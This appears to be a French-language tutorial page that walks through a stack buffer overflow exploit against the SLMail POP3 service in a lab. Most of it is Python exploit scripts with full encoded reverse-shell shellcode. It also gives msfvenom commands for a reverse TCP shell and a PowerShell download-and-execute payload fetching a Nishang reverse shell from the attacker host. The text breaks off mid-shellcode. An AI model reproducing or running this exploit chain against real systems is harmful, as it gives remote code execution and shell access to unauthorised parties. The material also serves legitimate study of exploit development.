> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/useful-resources/exploit-development/windows-buffer-overflow-slmail.md).

# Buffer Overflow Windows - SLMail

<details>

<summary>Installation de l'environnement de débordement de tampon</summary>

1. Téléchargez la machine [Windows 7 Basic 32 bits](https://lecrabeinfo.net/telecharger/windows-7-edition-familiale-basique-sp1-x86):
2. Dans la machine, téléchargez le [débogueur ](https://www.immunityinc.com/products/debugger/):
3. Une fois installé, exécutez la commande suivante dans le terminal :

```bash
bcdedit.exe /set {current} nx AlwaysOff
```

4. Copiez ceci [le script ](https://www.immunityinc.com/products/debugger/)dans un fichier a.py :
5. Collez le script dans `c:/Program Files/Immunity Inc/Immunity Debugger/PyCommands`
6. Enfin, installez [slmail](https://slmail.software.informer.com/download/):

![](/files/1c079d85fbcf1093032303ae0aaa3d37057bd774)

</details>

## Phase initiale de fuzzing et contrôle du registre EIP :

{% hint style="success" %}
Au cours de la phase initiale d'exploitation d'un débordement de tampon, les premières étapes consistent à déterminer les limites du programme. Cela se fait en testant l'introduction de caractères supplémentaires dans divers champs d'entrée du programme, tels que des chaînes de texte ou des fichiers, jusqu'à détecter une altération ou une défaillance de l'application. Une fois la limite du champ d'entrée identifiée, l'étape suivante consiste à découvrir l'offset (décalage), qui représente le nombre exact de caractères nécessaires pour provoquer une altération dans le programme et écraser également la valeur du registre EIP (Extended Instruction Pointer). Ce registre, qui pointe vers l'adresse mémoire de la prochaine instruction à exécuter, est crucial. Dans une exploitation réussie d'un débordement de tampon, sa valeur est remplacée par une adresse contrôlée par l'attaquant, permettant l'exécution de code malveillant. L'objectif, lors de la détermination de l'offset, est donc de préciser la quantité exacte de caractères à introduire pour écraser la valeur du registre EIP, et ainsi pointer vers l'adresse mémoire contrôlée par l'attaquant. Grâce à ces informations, vous pouvez concevoir votre propre exploit pour le programme cible, en contrôlant également le registre EIP et en permettant l'exécution de code malveillant.
{% endhint %}

* Dans Immunity Debugger, nous sélectionnons SL Mail :

<figure><img src="/files/64a342daed5aa981fef7fe6e9a8c752ff512d842" alt="" width="457"><figcaption></figcaption></figure>

<figure><img src="/files/9d833a13c7a64d65eebcee91561839190ad20035" alt="" width="563"><figcaption></figcaption></figure>

* Nous allons maintenant créer un script en Python qui automatisera la découverte du nombre d'octets nécessaires pour provoquer un crash du programme.

```python
#!/usr/bin/python3

import socket 
import sys 

if len(sys.argv) != 2:
    print("/n[!] Usage: exploit.py <length>")
    exit(1)

ip_address = "192.168.71.139"
port = 110
total_length = int(sys.argv[1])

def exploit():

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((ip_address, port))

    banner = s.recv(1024)
    
    s.send(b"USER jordan" + b'/r/n')
    response = s.recv(1024)
    s.send(b"PASS " + b"A"*total_length + b' /r/n')
    s.close()

if __name__ == '__main__':
    exploit()
```

<figure><img src="/files/a84958ec886dbf71ae5a9df5d295a27162250d6e" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/6b629da1397b0fdd46b7f34450d105be89aa9d1b" alt="" width="563"><figcaption></figcaption></figure>

Comme nous sommes sous Windows, nous utiliserons un outil de Metasploit.

```bash
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb
```

Exemple avec 5000 caractères :

<figure><img src="/files/b05925b21a458dca68228d86f0bf3f2c7bc78496" alt="" width="563"><figcaption></figcaption></figure>

```python
#!/usr/bin/python3

import socket 
import sys 

ip_address = "192.168.71.139"
port = 110

payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck"

def exploit():

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((ip_address, port))

    banner = s.recv(1024)
    
    s.send(b"USER jordan" + b'/r/n')
    response = s.recv(1024)
    s.send(b"PASS " + payload + b' /r/n')
    s.close()

if __name__ == '__main__':
    exploit()
```

* Le service a crashé, mais ce qui nous intéresse est la valeur de l'EIP :

  <br>

  <figure><img src="/files/571b2a78e779f27f6436f090b6b76f79bb422bca" alt="" width="563"><figcaption></figcaption></figure>
* Avec le script suivant, également issu de Metasploit, nous lui passons cette valeur, l'EIP, et il calcule le nombre maximal possible de caractères du tampon : `/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb`

<div data-full-width="true"><figure><img src="/files/bfa4a5cf488885645647219b44c7ef6a113bdd64" alt=""><figcaption></figcaption></figure></div>

* Ainsi, une fois que nous connaissons l'offset, le script suivant injectera 4 caractères B pour voir si cela fonctionne ou non :

```python
#!/usr/bin/python3
import socket 
import sys 

ip_address = "192.168.71.139"
port = 110
offset = 4654

before_eip = b"A"* offset 
eip = b"B"*4
payload = before_eip + eip 

def exploit():

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((ip_address, port))

    banner = s.recv(1024)
    
    s.send(b"USER jordan" + b'/r/n')
    response = s.recv(1024)
    s.send(b"PASS " + payload + b' /r/n')
    s.close()

if __name__ == '__main__':
    exploit()
```

\*Nous voyons que l'EIP correspond au caractère B répété quatre fois (42424242) :

<figure><img src="/files/ca558537c5fdb9e785cdd3d9d6c9fd120a8e4c13" alt="" width="563"><figcaption></figcaption></figure>

## Allocation d'espace pour le shellcode :

{% hint style="success" %}
Une fois l'offset trouvé et la valeur du registre EIP écrasée lors d'un débordement de tampon, le processus suivant consiste à localiser en mémoire la représentation des caractères saisis dans le champ d'entrée. Après cette altération du registre EIP, les caractères supplémentaires introduits dans le champ d'entrée sont identifiés au début de la pile dans le registre ESP (Extended Stack Pointer), comme on peut l'observer via Immunity Debugger. ESP, un registre du processeur, gère la pile dans un programme, une zone mémoire temporaire qui stocke les valeurs et les adresses de retour des fonctions. L'étape suivante consiste à injecter un shellcode, c'est-à-dire les instructions de bas niveau correspondant à une action malveillante, à l'endroit où il est identifié. Le shellcode est placé dans la pile à l'adresse où se trouvent les caractères altérés, exploitant également le débordement de tampon pour exécuter le code malveillant et prendre le contrôle du système. Il est essentiel de concevoir le shellcode avec des précautions afin d'éviter toute détection malveillante, tout en garantissant la compatibilité avec l'architecture du processeur et le système d'exploitation ciblé. En résumé, l'allocation d'espace pour le shellcode nécessite une identification précise de l'emplacement mémoire des autres caractères dans le débordement de tampon, suivie d'une injection stratégique du shellcode malveillant. Cependant, la conception du shellcode doit prendre en compte la détection des caractères indésirables (badchars), et nous verrons à l'étape suivante comment les détecter et générer un shellcode exempt de ces éléments.
{% endhint %}

Maintenant, avec le script suivant, nous allons voir ce qui se passe si nous ne créons pas de débordement de tampon après l'EIP ou si tout le contenu est en stock (sur la pile) :

```python
#!/usr/bin/python3
import socket 
import sys 

ip_address = "192.168.71.139"
port = 110
offset = 4654

before_eip = b"A"* offset 
eip = b"B"*4
after_eip = b"C"*200
payload = before_eip + eip + after_eip

def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip_address, port))
    banner = s.recv(1024)
    s.send(b"USER jordan" + b'/r/n')
    response = s.recv(1024)
    s.send(b"PASS " + payload + b' /r/n')
    s.close()

if __name__ == '__main__':
    exploit()
```

<figure><img src="/files/933cdbdfb776d7c7e17dfb3a4a201c91fa377c86" alt="" width="563"><figcaption></figcaption></figure>

Si nous regardons plus d'informations sur la gauche avec follow in dump :

<figure><img src="/files/7769987186f76fd627d8b1e9bf1efd8359a4febc" alt="" width="563"><figcaption></figcaption></figure>

## Génération de bytearrays et détection des badchars :

{% hint style="success" %}
Lors de la création d'un shellcode malveillant pour exploiter le débordement de tampon, le programme cible peut échouer à interpréter certains octets spécifiques, appelés badchars. Ces octets peuvent casser le shellcode ou faire planter le programme de manière inattendue. Pour éviter cela, identifiez et supprimez les badchars avant de générer le payload final. Avec Immunity Debugger et Mona, générez un bytearray complet, envoyez-le à travers le tampon vulnérable et comparez les octets qui arrivent dans ESP. Tout octet manquant ou altéré doit être exclu du shellcode final.
{% endhint %}

\*Nous utilisons la commande suivante pour créer un dossier de travail avec Mona sur le bureau :

<pre><code><strong>!mona config -set workingfolder C:/Users/Jordan/Desktop/Analysis
</strong></code></pre>

<figure><img src="/files/84ca4257a75763cebfe8cb6978c9295bf6995f9e" alt="" width="563"><figcaption></figcaption></figure>

* Avec la commande suivante, les fichiers sont créés :

```
!mona bytearray -cpb '/x00'
```

<figure><img src="/files/ac8644c0cdfb1833dc6a690df38105cddcb1c091" alt="" width="563"><figcaption></figcaption></figure>

* Pour transférer les fichiers, nous pouvons créer un serveur SMB avec la commande suivante :

<pre><code><strong>impacket-smbserver smbFolder $(pwd) -smb2support
</strong></code></pre>

<figure><img src="/files/017fa1d9df8ae2f1ab464db5631110ad1c7359d5" alt="" width="563"><figcaption></figcaption></figure>

* Dans l'Explorateur de fichiers, nous saisissons l'adresse IP et collons le fichier bytearray créé :<br>

  <figure><img src="/files/a83e9c8848f779c199149c4169c29454aa810806" alt="" width="563"><figcaption></figcaption></figure>
* Maintenant, cette chaîne doit être collée dans le script (en ajoutant un 'b' à chaque ligne pour indiquer qu'elle est en mode octet) :

<figure><img src="/files/fbff3b3697578a9e606049144b62af4b2cbdc295" alt="" width="563"><figcaption></figcaption></figure>

* Script Python :

```python
#!/usr/bin/python3

import socket 
import sys 

ip_address = "192.168.71.139"
port = 110
offset = 4654

before_eip = b"A" * offset 
eip = b"B" * 4
after_eip = (b"/x01/x02/x03/x04/x05/x06/x07/x08/x09/x0a/x0b/x0c/x0d/x0e/x0f/x10/x11/x12/x13/x14/x15/x16/x17/x18/x19/x1a/x1b/x1c/x1d/x1e/x1f/x20"
b"/x21/x22/x23/x24/x25/x26/x27/x28/x29/x2a/x2b/x2c/x2d/x2e/x2f/x30/x31/x32/x33/x34/x35/x36/x37/x38/x39/x3a/x3b/x3c/x3d/x3e/x3f/x40"
b"/x41/x42/x43/x44/x45/x46/x47/x48/x49/x4a/x4b/x4c/x4d/x4e/x4f/x50/x51/x52/x53/x54/x55/x56/x57/x58/x59/x5a/x5b/x5c/x5d/x5e/x5f/x60"
b"/x61/x62/x63/x64/x65/x66/x67/x68/x69/x6a/x6b/x6c/x6d/x6e/x6f/x70/x71/x72/x73/x74/x75/x76/x77/x78/x79/x7a/x7b/x7c/x7d/x7e/x7f/x80"
b"/x81/x82/x83/x84/x85/x86/x87/x88/x89/x8a/x8b/x8c/x8d/x8e/x8f/x90/x91/x92/x93/x94/x95/x96/x97/x98/x99/x9a/x9b/x9c/x9d/x9e/x9f/xa0"
b"/xa1/xa2/xa3/xa4/xa5/xa6/xa7/xa8/xa9/xaa/xab/xac/xad/xae/xaf/xb0/xb1/xb2/xb3/xb4/xb5/xb6/xb7/xb8/xb9/xba/xbb/xbc/xbd/xbe/xbf/xc0"
b"/xc1/xc2/xc3/xc4/xc5/xc6/xc7/xc8/xc9/xca/xcb/xcc/xcd/xce/xcf/xd0/xd1/xd2/xd3/xd4/xd5/xd6/xd7/xd8/xd9/xda/xdb/xdc/xdd/xde/xdf/xe0"
b"/xe1/xe2/xe3/xe4/xe5/xe6/xe7/xe8/xe9/xea/xeb/xec/xed/xee/xef/xf0/xf1/xf2/xf3/xf4/xf5/xf6/xf7/xf8/xf9/xfa/xfb/xfc/xfd/xfe/xff")

payload = before_eip + eip + after_eip

def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip_address, port))
    banner = s.recv(1024)
    s.send(b"USER jordan" + b'/r/n')
    response = s.recv(1024)
    s.send(b"PASS " + payload + b' /r/n')
    s.close()

if __name__ == '__main__':
    exploit()
```

* Nous effectuons un suivi en dump de l'ESP :

<figure><img src="/files/30cf3ceee4669bf4a908a31e175d6cb8b7bd4f05" alt="" width="563"><figcaption></figcaption></figure>

* Là, nous pouvons voir les caractères indésirables (qu'il ne peut pas interpréter) :

Nous affichons maintenant la commande ci-dessous avec le numéro de l'ESP (précédé de 0x et la comparaison avec bytearray.bion) pour voir les caractères qui peuvent être interprétés correctement :

<pre><code><strong>!mona compare -a 0x00E8A128 -f C:/Users/Jordan/Desktop/Analysis/bytearray.bin
</strong></code></pre>

<figure><img src="/files/ddf03ba4adf9c1345a0d1ea7885f522dd34a58ee" alt="" width="563"><figcaption></figcaption></figure>

* Avec cette commande, nous indiquons de ne pas supprimer les caractères indésirables du fichier bytearray :

```
!mona bytearray -cpb '/x00/x0a'
```

<figure><img src="/files/a774f2ffcda850848680fdfefaf0b7b32b56a775" alt="" width="563"><figcaption></figcaption></figure>

* Nous recommençons et il détecte de nouveaux caractères indésirables :

<pre><code><strong>!mona compare -a 0x0210A128 -f C:/Users/Jordan/Desktop/Analysis/bytearray.bin
</strong></code></pre>

<figure><img src="/files/e2f78cfdeb5fbe4f5e12fbde44c5ab254c3fe69b" alt=""><figcaption></figcaption></figure>

\*Et nous mettons à jour la bytearray à nouveau :

```
!mona bytearray -cpb '/x00/x0a/x0d'
```

<figure><img src="/files/00dfeb6a12c98c0d35a537a031accfa3e851da78" alt=""><figcaption></figcaption></figure>

* Si nous le refaisons, aucune erreur n'apparaît plus :

<figure><img src="/files/107657b833a014ab4cc99a70c364d12a67158118" alt=""><figcaption></figcaption></figure>

## Recherche d'opcodes pour accéder à l'ESP et charger notre shellcode :

{% hint style="success" %}
Après avoir généré le shellcode et identifié les badchars, redirigez le flux d'exécution vers le shellcode. L'objectif est d'écraser EIP avec une adresse mémoire qui contient une `JMP ESP` instruction, car le shellcode réside dans ESP et EIP ne peut pas s'y pointer directement de manière fiable. Utilisez des outils tels que `mona.py` pour rechercher dans les modules chargés un `JMP ESP` opcode utilisable. Une fois l'adresse trouvée, placez-la dans EIP afin que l'exécution saute vers ESP et exécute le shellcode.
{% endhint %}

* La commande ci-dessous génère un shellcode Windows x86, utilisant une connexion TCP inversée vers l'adresse IP 192.168.71.128 sur le port 443, avec un encodage shikata/\_ga/\_nai et en excluant les badchars.

```css
msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.71.128 LPORT=443 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread
```

<figure><img src="/files/a29ac03791c98415a4f52fad2463eed646298de6" alt="" width="563"><figcaption></figcaption></figure>

* Maintenant, avec la **!mona modules** commande, nous rechercherons un module non protégé dont la valeur est fausse :

<figure><img src="/files/8b052065ae248665dbcbe3bf5c4dec524c9ed618" alt=""><figcaption></figcaption></figure>

* Nous recherchons un jmp esp, qui se traduirait par "/xFF/xE4" :

<figure><img src="/files/22e6bfd5512a2bda87c22d6533673fff8b61b061" alt=""><figcaption></figcaption></figure>

* Avec la commande suivante, nous devrions choisir l'un de ces modules sans protection et sans bad char :

<figure><img src="/files/f14f4a54b8050510eebf3295ad0557ae72d9f965" alt="" width="563"><figcaption></figcaption></figure>

* Dans ce cas, nous choisissons le dernier, qui est "0x5f4c4d13". Nous allons créer un point d'arrêt pour vérifier si le flux du programme passe correctement par là :

<figure><img src="/files/f64796e03f31b91bf0a55e25d5ecfd5e734f0fcc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c92a86a898a962e75a6a19ceaaf08670c6aefa8b" alt=""><figcaption></figcaption></figure>

* Avec ce script, nous parviendrons à modifier l'EIP vers celui qui nous intéresse :

```python
#!/usr/bin/python3
from struct import pack
import socket 
import sys 

ip_address = "192.168.71.139"
port = 110
offset = 4654

before_eip = b"A" * offset 
eip = pack("<L", 0x5f4c4d13)

shellcode = (b"/xba/xb8/x9f/x1f/xa0/xdd/xc3/xd9/x74/x24/xf4/x5f/x31/xc9"
b"/xb1/x52/x83/xc7/x04/x31/x57/x0e/x03/xef/x91/xfd/x55/xf3"
b"/x46/x83/x96/x0b/x97/xe4/x1f/xee/xa6/x24/x7b/x7b/x98/x94"
b"/x0f/x29/x15/x5e/x5d/xd9/xae/x12/x4a/xee/x07/x98/xac/xc1"
b"/x98/xb1/x8d/x40/x1b/xc8/x1b/xa2/x22/x03/x14/xa3/x63/x7e"
b"/xd5/xf1/x3c/xf4/x48/xe5/x49/x40/x51/x8e/x02/x44/xd1/x73"
b"/xd2/x67/xf0/x22/x68/x3e/xd2/xc5/xbd/x4a/x5b/xdd/xa2/x77"
b"/x15/x56/x10/x03/xa4/xbe/x68/xec/x0b/xff/x44/x1f/x55/x38"
b"/x62/xc0/x20/x30/x90/x7d/x33/x87/xea/x59/xb6/x13/x4c/x29"
b"/x60/xff/x6c/xfe/xf7/x74/x62/x4b/x73/xd2/x67/x4a/x50/x69"
b"/x93/xc7/x57/xbd/x15/x93/x73/x19/x7d/x47/x1d/x38/xdb/x26"
b"/x22/x5a/x84/x97/x86/x11/x29/xc3/xba/x78/x26/x20/xf7/x82"
b"/xb6/x2e/x80/xf1/x84/xf1/x3a/x9d/xa4/x7a/xe5/x5a/xca/x50"
b"/x51/xf4/x35/x5b/xa2/xdd/xf1/x0f/xf2/x75/xd3/x2f/x99/x85"
b"/xdc/xe5/x0e/xd5/x72/x56/xef/x85/x32/x06/x87/xcf/xbc/x79"
b"/xb7/xf0/x16/x12/x52/x0b/xf1/xdd/x0b/x54/x81/xb6/x49/x5a"
b"/x80/xfd/xc7/xbc/xe8/x11/x8e/x17/x85/x88/x8b/xe3/x34/x54"
b"/x06/x8e/x77/xde/xa5/x6f/x39/x17/xc3/x63/xae/xd7/x9e/xd9"
b"/x79/xe7/x34/x75/xe5/x7a/xd3/x85/x60/x67/x4c/xd2/x25/x59"
b"/x85/xb6/xdb/xc0/x3f/xa4/x21/x94/x78/x6c/xfe/x65/x86/x6d"
b"/x73/xd1/xac/x7d/x4d/xda/xe8/x29/x01/x8d/xa6/x87/xe7/x67"
b"/x09/x71/xbe/xd4/xc3/x15/x47/x17/xd4/x63/x48/x72/xa2/x8b"
b"/xf9/x2b/xf3/xb4/x36/xbc/xf3/xcd/x2a/x5c/xfb/x04/xef/x7c"
b"/x1e/x8c/x1a/x15/x87/x45/xa7/x78/x38/xb0/xe4/x84/xbb/x30"
b"/x95/x72/xa3/x31/x90/x3f/x63/xaa/xe8/x50/x06/xcc/x5f/x50"
b"/x03")

payload = before_eip + eip + shellcode
def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip_address, port))
    banner = s.recv(1024)
    s.send(b"USER jordan" + b'/r/n')
    response = s.recv(1024)
    s.send(b"PASS " + payload + b' /r/n')
    s.close()

if __name__ == '__main__':
    exploit()
```

* Maintenant, notre EIP a été modifié et il ne nous reste plus qu'à faire un step into :

<figure><img src="/files/9efed6d0fbbe094e9c23efcba3382f340b0f074b" alt=""><figcaption></figcaption></figure>

* Maintenant, si nous suivons le dump de l'ESP, le shellcode serait représenté :

<figure><img src="/files/77c17d853d35e3c912712b6e03bed6eee225e93f" alt=""><figcaption></figcaption></figure>

## Utilisation de NOPs, de placements sur la pile et de l'interprétation du shellcode pour obtenir une RCE (exécution de code à distance).

* Il ne nous l'interprète pas :

<figure><img src="/files/80451924d43a18e53bd2f073338bc606dac8ba18" alt=""><figcaption></figcaption></figure>

* Modifions maintenant le script en ajoutant ce NOP de la manière suivante :

<figure><img src="/files/d6e984a2b1df2f81931259ab4dbb4a072c0e6927" alt=""><figcaption></figcaption></figure>

* Script final :

```python
#!/usr/bin/python3
from struct import pack
import socket 
import sys 

ip_address = "192.168.71.139"
port = 110
offset = 4654

before_eip = b"A" * offset 
eip = pack("<L", 0x5f4c4d13)

shellcode = (b"/xba/xb8/x9f/x1f/xa0/xdd/xc3/xd9/x74/x24/xf4/x5f/x31/xc9"
b"/xb1/x52/x83/xc7/x04/x31/x57/x0e/x03/xef/x91/xfd/x55/xf3"
b"/x46/x83/x96/x0b/x97/xe4/x1f/xee/xa6/x24/x7b/x7b/x98/x94"
b"/x0f/x29/x15/x5e/x5d/xd9/xae/x12/x4a/xee/x07/x98/xac/xc1"
b"/x98/xb1/x8d/x40/x1b/xc8/x1b/xa2/x22/x03/x14/xa3/x63/x7e"
b"/xd5/xf1/x3c/xf4/x48/xe5/x49/x40/x51/x8e/x02/x44/xd1/x73"
b"/xd2/x67/xf0/x22/x68/x3e/xd2/xc5/xbd/x4a/x5b/xdd/xa2/x77"
b"/x15/x56/x10/x03/xa4/xbe/x68/xec/x0b/xff/x44/x1f/x55/x38"
b"/x62/xc0/x20/x30/x90/x7d/x33/x87/xea/x59/xb6/x13/x4c/x29"
b"/x60/xff/x6c/xfe/xf7/x74/x62/x4b/x73/xd2/x67/x4a/x50/x69"
b"/x93/xc7/x57/xbd/x15/x93/x73/x19/x7d/x47/x1d/x38/xdb/x26"
b"/x22/x5a/x84/x97/x86/x11/x29/xc3/xba/x78/x26/x20/xf7/x82"
b"/xb6/x2e/x80/xf1/x84/xf1/x3a/x9d/xa4/x7a/xe5/x5a/xca/x50"
b"/x51/xf4/x35/x5b/xa2/xdd/xf1/x0f/xf2/x75/xd3/x2f/x99/x85"
b"/xdc/xe5/x0e/xd5/x72/x56/xef/x85/x32/x06/x87/xcf/xbc/x79"
b"/xb7/xf0/x16/x12/x52/x0b/xf1/xdd/x0b/x54/x81/xb6/x49/x5a"
b"/x80/xfd/xc7/xbc/xe8/x11/x8e/x17/x85/x88/x8b/xe3/x34/x54"
b"/x06/x8e/x77/xde/xa5/x6f/x39/x17/xc3/x63/xae/xd7/x9e/xd9"
b"/x79/xe7/x34/x75/xe5/x7a/xd3/x85/x60/x67/x4c/xd2/x25/x59"
b"/x85/xb6/xdb/xc0/x3f/xa4/x21/x94/x78/x6c/xfe/x65/x86/x6d"
b"/x73/xd1/xac/x7d/x4d/xda/xe8/x29/x01/x8d/xa6/x87/xe7/x67"
b"/x09/x71/xbe/xd4/xc3/x15/x47/x17/xd4/x63/x48/x72/xa2/x8b"
b"/xf9/x2b/xf3/xb4/x36/xbc/xf3/xcd/x2a/x5c/xfb/x04/xef/x7c"
b"/x1e/x8c/x1a/x15/x87/x45/xa7/x78/x38/xb0/xe4/x84/xbb/x30"
b"/x95/x72/xa3/x31/x90/x3f/x63/xaa/xe8/x50/x06/xcc/x5f/x50"
b"/x03")

payload = before_eip + eip + b"/x90"*16 + shellcode
def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip_address, port))
    banner = s.recv(1024)
    s.send(b"USER jordan" + b'/r/n')
    response = s.recv(1024)
    s.send(b"PASS " + payload + b' /r/n')
    s.close()

if __name__ == '__main__':
    exploit()
```

* Si nous le refaisons, il l'interprète parfaitement :

<figure><img src="/files/43cdf1fb36bbddac157865230b21ee183df36eb1" alt=""><figcaption></figcaption></figure>

## Modification du shellcode pour contrôler la commande que vous pouvez exécuter :

{% hint style="success" %}
En plus des payloads de reverse shell, le `windows/exec` payload peut intégrer une commande directement via l'option `CMD` option. Cela crée un shellcode qui exécute la commande choisie lors de son exécution. Générez-le avec `msfvenom -p windows/exec CMD="<command>"`, puis utilisez la même technique de débordement de tampon pour écraser EIP et rediriger l'exécution vers le shellcode.
{% endhint %}

* Téléchargez ceci [le script ](https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1)et nommez-le PS.ps1

Ajoutez ceci à la fin du script : `PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.71.128 -Port 443`

* Générez le shellcode :

```bash
msfvenom -p windows/exec CMD="powershell IEX(New-Object Net.WebClient).downloadString('http://192.168.71.128/PS.ps1')" --platform windows -a x86 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread
```

<figure><img src="/files/e692fed5f361aa73bb59b9cbdaecf8a6e1a5b9fe" alt=""><figcaption></figcaption></figure>

* Script mis à jour :

```python
#!/usr/bin/python3
from struct import pack
import socket 
import sys 

ip_address = "192.168.71.139"
port = 110
offset = 4654

before_eip = b"A" * offset 
eip = pack("<L", 0x5f4c4d13)

shellcode = (b"/xdb/xd5/xd9/x74/x24/xf4/xbe/x01/x70/x12/xf1/x5a/x2b/xc9"
b"/xb1/x45/x83/xc2/x04/x31/x72/x13/x03/x73/x63/xf0/x04/x8f"
b"/x6b/x76/xe6/x6f/x6c/x17/x6e/x8a/x5d/x17/x14/xdf/xce/xa7"
b"/x5e/x8d/xe2/x4c/x32/x25/x70/x20/x9b/x4a/x31/x8f/xfd/x65"
b"/xc2/xbc/x3e/xe4/x40/xbf/x12/xc6/x79/x70/x67/x07/xbd/x6d"
b"/x8a/x55/x16/xf9/x39/x49/x13/xb7/x81/xe2/x6f/x59/x82/x17"
b"/x27/x58/xa3/x86/x33/x03/x63/x29/x97/x3f/x2a/x31/xf4/x7a"
b"/xe4/xca/xce/xf1/xf7/x1a/x1f/xf9/x54/x63/xaf/x08/xa4/xa4"
b"/x08/xf3/xd3/xdc/x6a/x8e/xe3/x1b/x10/x54/x61/xbf/xb2/x1f"
b"/xd1/x1b/x42/xf3/x84/xe8/x48/xb8/xc3/xb6/x4c/x3f/x07/xcd"
b"/x69/xb4/xa6/x01/xf8/x8e/x8c/x85/xa0/x55/xac/x9c/x0c/x3b"
b"/xd1/xfe/xee/xe4/x77/x75/x02/xf0/x05/xd4/x49/x07/x9b/x63"
